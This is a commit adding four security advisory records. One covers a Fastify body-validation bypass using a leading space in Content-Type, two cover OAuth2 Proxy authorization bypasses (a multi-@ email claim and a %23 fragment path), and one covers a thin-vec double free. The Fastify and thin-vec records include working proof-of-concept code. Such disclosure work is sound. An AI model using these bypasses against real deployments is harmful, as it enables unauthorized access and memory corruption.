Skip to content

Commit 21f0926

Browse files
1 parent be0452b commit 21f0926

File tree

4 files changed

+240
-0
lines changed

4 files changed

+240
-0
lines changed
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-247c-9743-5963",
4+
"modified": "2026-04-15T19:24:41Z",
5+
"published": "2026-04-15T19:24:41Z",
6+
"aliases": [
7+
"CVE-2026-33806"
8+
],
9+
"summary": "Fastify has a Body Schema Validation Bypass via Leading Space in Content-Type Header",
10+
"details": "### Summary\nA validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via `schema.body.content` can be completely circumvented by prepending a single space character (`\\x20`) to the `Content-Type` header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped.\nThis is a regression introduced by commit [`f3d2bcb`](https://github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4) (fix for [CVE-2025-32442](https://github.com/fastify/fastify/security/advisories/GHSA-mg2h-6x62-wpwc)).\n\n### Details\nThe vulnerability is a **parser-validator differential** between two independent code paths that process the raw `Content-Type` header differently.\n**Parser path** (`lib/content-type.js`, line ~67) applies `trimStart()` before processing:\n```js\nconst type = headerValue.slice(0, sepIdx).trimStart().toLowerCase()\n// ' application/json' → trimStart() → 'application/json' → body is parsed ✓\n```\n\n**Validator path** (`lib/validation.js`, line 272) splits on `/[ ;]/` before trimming:\n\n```js\nfunction getEssenceMediaType(header) {\n if (!header) return ''\n return header.split(/[ ;]/, 1)[0].trim().toLowerCase()\n}\n// ' application/json'.split(/[ ;]/, 1) → [''] (splits on the leading space!)\n// ''.trim() → ''\n// context[bodySchema][''] → undefined → NO validator found → validation skipped!\n```\n\nThe `ContentType` class applies `trimStart()` before processing, so the parser correctly identifies `application/json` and parses the body. However, `getEssenceMediaType` splits on `/[ ;]/` before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type `\"\"`, finds nothing, and skips validation entirely.\n**Regression source:** Commit [`f3d2bcb`](https://github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4) (April 18, 2025) changed the split delimiter from `';'` to `/[ ;]/` to fix [CVE-2025-32442](https://github.com/fastify/fastify/security/advisories/GHSA-mg2h-6x62-wpwc). The old code (`header.split(';', 1)[0].trim()`) was **not** vulnerable to this vector because `.trim()` would correctly handle the leading space. The new regex-based split introduced the regression.\n\n### PoC\n\n```js\nconst fastify = require('fastify')({ logger: false });\n\nfastify.post('/transfer', {\n schema: {\n body: {\n content: {\n 'application/json': {\n schema: {\n type: 'object',\n required: ['amount', 'recipient'],\n properties: {\n amount: { type: 'number', maximum: 1000 },\n recipient: { type: 'string', maxLength: 50 },\n admin: { type: 'boolean', enum: [false] }\n },\n additionalProperties: false\n }\n }\n }\n }\n }\n}, async (request) => {\n return { processed: true, data: request.body };\n});\n\n(async () => {\n await fastify.ready();\n\n // BLOCKED — normal request with invalid payload\n const res1 = await fastify.inject({\n method: 'POST',\n url: '/transfer',\n headers: { 'content-type': 'application/json' },\n payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })\n });\n console.log('Normal:', res1.statusCode);\n // → 400 FST_ERR_VALIDATION\n\n // BYPASS — single leading space\n const res2 = await fastify.inject({\n method: 'POST',\n url: '/transfer',\n headers: { 'content-type': ' application/json' },\n payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })\n });\n console.log('Leading space:', res2.statusCode);\n // → 200 (validation bypassed!)\n console.log('Body:', res2.body);\n\n await fastify.close();\n})();\n```\n\n**Output:**\n```\nNormal: 400\nLeading space: 200\nBody: {\"processed\":true,\"data\":{\"amount\":9999,\"recipient\":\"EVIL\",\"admin\":true}}\n```\n\n### Impact\nAny Fastify application that relies on <code>schema.body.content</code> (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity — it is a single-character modification to an HTTP header.\nThis vulnerability is distinct from all previously patched content-type bypasses:\n\nCVE | Vector | Patched in 5.8.4?\n-- | -- | --\nCVE-2025-32442 | Casing / semicolon whitespace | ✅ Yes\nCVE-2026-25223 | Tab character (\\t) | ✅ Yes\nCVE-2026-3419 | Trailing garbage after subtype | ✅ Yes\nThis finding | Leading space (\\x20) | ❌ No\n\n\n**Recommended fix** — add `trimStart()` before the split in `getEssenceMediaType`:\n```js\nfunction getEssenceMediaType(header) {\n if (!header) return ''\n return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase()\n}\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "fastify"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "5.3.2"
29+
},
30+
{
31+
"fixed": "5.8.5"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 5.8.4"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/fastify/fastify/security/advisories/GHSA-247c-9743-5963"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32442"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4"
53+
},
54+
{
55+
"type": "PACKAGE",
56+
"url": "https://github.com/fastify/fastify"
57+
},
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/fastify/fastify/releases/tag/v5.8.5"
61+
}
62+
],
63+
"database_specific": {
64+
"cwe_ids": [
65+
"CWE-1287"
66+
],
67+
"severity": "HIGH",
68+
"github_reviewed": true,
69+
"github_reviewed_at": "2026-04-15T19:24:41Z",
70+
"nvd_published_at": null
71+
}
72+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-c5c4-8r6x-56w3",
4+
"modified": "2026-04-15T19:23:54Z",
5+
"published": "2026-04-15T19:23:54Z",
6+
"aliases": [
7+
"CVE-2026-40574"
8+
],
9+
"summary": "OAuth2 Proxy has an Authorization Bypass in Email Domain Validation via Malformed Multi-@ Email Claims",
10+
"details": "### Impact\n\nAn authorization bypass exists in OAuth2 Proxy as part of the `email_domain` enforcement option. An attacker may be able to authenticate with an email claim such as `attacker@evil.com@company.com` and satisfy an allowed domain check for `company.com`, even though the claim is not a valid email address.\n\nThe issue **ONLY** affects deployments that rely on `email_domain` restrictions and accept email claim values from identity providers or claim mappings that do not strictly enforce normal email syntax. The practical risk ONLY exists in self-hosted or custom OIDC environments and federated setups where unexpected claim values can reach oauth2-proxy. Standard hosted providers that enforce valid email formatting ARE NOT effected.\n\n### Patches\nUsers should upgrade to `v7.15.2` or later once available.\n\n### Workarounds\nThe most effective workaround is to ensure the configured identity provider cannot emit malformed or attacker-controlled email claim values.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/oauth2-proxy/oauth2-proxy/v7"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "7.15.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/oauth2-proxy/oauth2-proxy/security/advisories/GHSA-c5c4-8r6x-56w3"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/oauth2-proxy/oauth2-proxy"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-863"
51+
],
52+
"severity": "MODERATE",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-04-15T19:23:54Z",
55+
"nvd_published_at": null
56+
}
57+
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-pxq7-h93f-9jrg",
4+
"modified": "2026-04-15T19:24:13Z",
5+
"published": "2026-04-15T19:24:13Z",
6+
"aliases": [],
7+
"summary": "OAuth2 Proxy has an Authentication Bypass via Fragment Confusion in skip_auth_routes and skip_auth_regex",
8+
"details": "### Impact\n\nA configuration-dependent authentication bypass exists in OAuth2 Proxy.\n\nDeployments are affected when all of the following are true:\n\n* Use of `skip_auth_routes` or the legacy `skip_auth_regex` * Use of patterns that can be widened by attacker-controlled suffixes, such as `^/foo/.*/bar$` causing potential exposure of `/foo/secret` * Protected upstream applications that interpret `#` as a fragment delimiter or otherwise route the request to the protected base path\n\nIn deployments that rely on these settings, an unauthenticated attacker can send a crafted request containing a number sign in the path, including the browser-safe encoded form `%23`, so that OAuth2 Proxy matches a public allowlist rule while the backend serves a protected resource.\n\nDeployments that do not use these skip-auth options, or that only allow exact public paths with tightly scoped method and path rules, **ARE NOT** affected.\n\n### Patches\n\nA fix has been implemented to normalize request paths more conservatively before skip-auth matching so fragment content does not influence allowlist decisions.\n\nReleased as part of `v7.15.2`\n\n### Workarounds\n\nUsers who cannot upgrade immediately can reduce exposure by tightening or removing `skip_auth_routes` and `skip_auth_regex` rules, especially patterns that use broad wildcards across path segments.\n\nRecommended mitigations:\n\n* Replace broad rules with exact, anchored public paths and explicit HTTP methods\n* Reject requests whose path contains `%23` or `#` at the ingress, load balancer, or WAF level\n* Avoid placing sensitive application paths behind broad `skip_auth_routes` rules",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/oauth2-proxy/oauth2-proxy/v7"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "7.5.0"
27+
},
28+
{
29+
"fixed": "7.15.2"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/oauth2-proxy/oauth2-proxy/security/advisories/GHSA-pxq7-h93f-9jrg"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/oauth2-proxy/oauth2-proxy"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-288"
49+
],
50+
"severity": "HIGH",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-04-15T19:24:13Z",
53+
"nvd_published_at": null
54+
}
55+
}
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-xphw-cqx3-667j",
4+
"modified": "2026-04-15T19:24:54Z",
5+
"published": "2026-04-15T19:24:54Z",
6+
"aliases": [],
7+
"summary": "thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics",
8+
"details": "### Summary\n\nA **Double Free / Use-After-Free (UAF)** vulnerability has been identified in the `IntoIter::drop` and `ThinVec::clear` implementations of the `thin_vec` crate.\nBoth vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no `unsafe` blocks required.\nUndefined Behavior has been confirmed via **Miri** and **AddressSanitizer (ASAN)**.\n\n---\n\n### Details\n\nBoth vulnerabilities share the same root cause. When a **panic occurs** during sequential element deallocation, the subsequent length cleanup code (`set_len(0)`) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).\n\n#### Vulnerability 1 — `IntoIter::drop`\n\n**Location:** `thin-vec/src/lib.rs` L.2308~2314\n\n`IntoIter::drop` transfers ownership of the internal buffer via `mem::replace`, then sequentially frees elements via `ptr::drop_in_place`.\nIf a panic occurs during element deallocation, `set_len_non_singleton(0)` is never reached. During unwinding, `vec` is dropped again, re-freeing already-freed elements.\nThe standard library's `std::vec::IntoIter` prevents this with a **DropGuard pattern**, but thin-vec lacks this defense.\n\n```rust\n// Problematic structure (conceptual representation)\nimpl<T> Drop for IntoIter<T> {\n fn drop(&mut self) {\n let mut vec = mem::replace(&mut self.vec, ThinVec::new());\n unsafe {\n ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here\n vec.set_len_non_singleton(0); // ← unreachable on panic\n }\n // During unwinding, vec is dropped again → Double Free\n }\n}\n```\n\n#### Vulnerability 2 — `ThinVec::clear`\n\n`clear()` calls `ptr::drop_in_place(&mut self[..])` followed by `self.set_len(0)` to reset the length.\nIf a panic occurs during element deallocation, `set_len(0)` is never executed. When the `ThinVec` itself is subsequently dropped, already-freed elements are freed again.\n\n```rust\n// Problematic structure (conceptual representation)\npub fn clear(&mut self) {\n unsafe {\n ptr::drop_in_place(&mut self[..]); // ← panic may occur here\n self.set_len(0); // ← unreachable on panic\n }\n // ThinVec drop later → Double Free\n}\n```\n\n#### Recommended Fix\n\nBoth vulnerabilities can be resolved with the same pattern:\n\n- **DropGuard pattern:** Insert an RAII guard before `drop_in_place` to guarantee `set_len(0)` is called regardless of panic\n- **Pre-zeroing approach:** Set the length to 0 before calling `drop_in_place`\n\n---\n\n### PoC\n\n**Requirements:** Rust nightly toolchain, `thin-vec = \"0.2.14\"`\n\n```bash\n# Miri\ncargo +nightly miri run\n\n# ASAN\nRUSTFLAGS=\"-Z sanitizer=address\" cargo +nightly run --release\n```\n\n#### PoC-1: `IntoIter::drop`\n\n```rust\nuse thin_vec::ThinVec;\n\nstruct PanicBomb(String);\n\nimpl Drop for PanicBomb {\n fn drop(&mut self) {\n if self.0 == \"panic\" {\n panic!(\"panic!\");\n }\n println!(\"Dropping: {}\", self.0);\n }\n}\n\nfn main() {\n let mut v = ThinVec::new();\n v.push(PanicBomb(String::from(\"normal1\")));\n v.push(PanicBomb(String::from(\"panic\"))); // trigger element\n v.push(PanicBomb(String::from(\"normal2\")));\n\n let mut iter = v.into_iter();\n iter.next();\n // When iter is dropped: panic occurs at \"panic\" element\n // → During unwinding, Double Drop is triggered on \"normal1\" (already freed)\n}\n```\n\n**Miri output:**\n```\nerror: Undefined Behavior: pointer not dereferenceable:\n alloc227 has been freed, so this pointer is dangling\n\nstack backtrace:\n 3: <PanicBomb as Drop>::drop ← Double Drop entry\n 6: <ThinVec<T> as Drop>::drop::drop_non_singleton\n 9: <IntoIter<T> as Drop>::drop::drop_non_singleton ← lib.rs:2310 (root cause)\n```\n\n**ASAN output:**\n```\n==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010\nREAD of size 7 at 0x7afa685e0010\n #0 memcpy\n #4 drop_in_place::<PanicBomb> ← Double Drop entry point\n #5 <ThinVec as Drop>::drop::drop_non_singleton\n #6 <IntoIter as Drop>::drop::drop_non_singleton\n```\n\n#### PoC-2: `ThinVec::clear`\n\n```rust\nuse thin_vec::ThinVec;\nuse std::panic;\n\nstruct Poison(Box<usize>, &'static str);\n\nimpl Drop for Poison {\n fn drop(&mut self) {\n if self.1 == \"panic\" {\n panic!(\"panic!\");\n }\n println!(\"Dropping: {}\", self.0);\n }\n}\n\nfn main() {\n let mut v = ThinVec::new();\n v.push(Poison(Box::new(1), \"normal1\")); // index 0\n v.push(Poison(Box::new(2), \"panic\")); // index 1 → panic triggered here\n v.push(Poison(Box::new(3), \"normal2\")); // index 2\n\n let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {\n v.clear();\n // panic occurs at \"panic\" element during clear()\n // → set_len(0) is never called\n // → already-freed elements are re-freed when v goes out of scope\n }));\n}\n```\n\n---\n\n### Impact\n\n**Affected code:** All code satisfying the following conditions simultaneously:\n\n1. `ThinVec` stores heap-owning types (`String`, `Vec`, `Box`, etc.)\n2. (Vulnerability 1) An iterator is created via `into_iter()` and dropped before being fully consumed, or\n (Vulnerability 2) `clear()` is called while a remaining element's `Drop` implementation can panic\n3. The `Drop` implementation of a remaining element triggers a panic\n\nAdditionally, when combined with `Box<dyn Trait>` types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "crates.io",
19+
"name": "thin-vec"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "0.2.16"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/mozilla/thin-vec/security/advisories/GHSA-xphw-cqx3-667j"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/mozilla/thin-vec"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-415",
49+
"CWE-416"
50+
],
51+
"severity": "HIGH",
52+
"github_reviewed": true,
53+
"github_reviewed_at": "2026-04-15T19:24:54Z",
54+
"nvd_published_at": null
55+
}
56+
}

0 commit comments

Comments
 (0)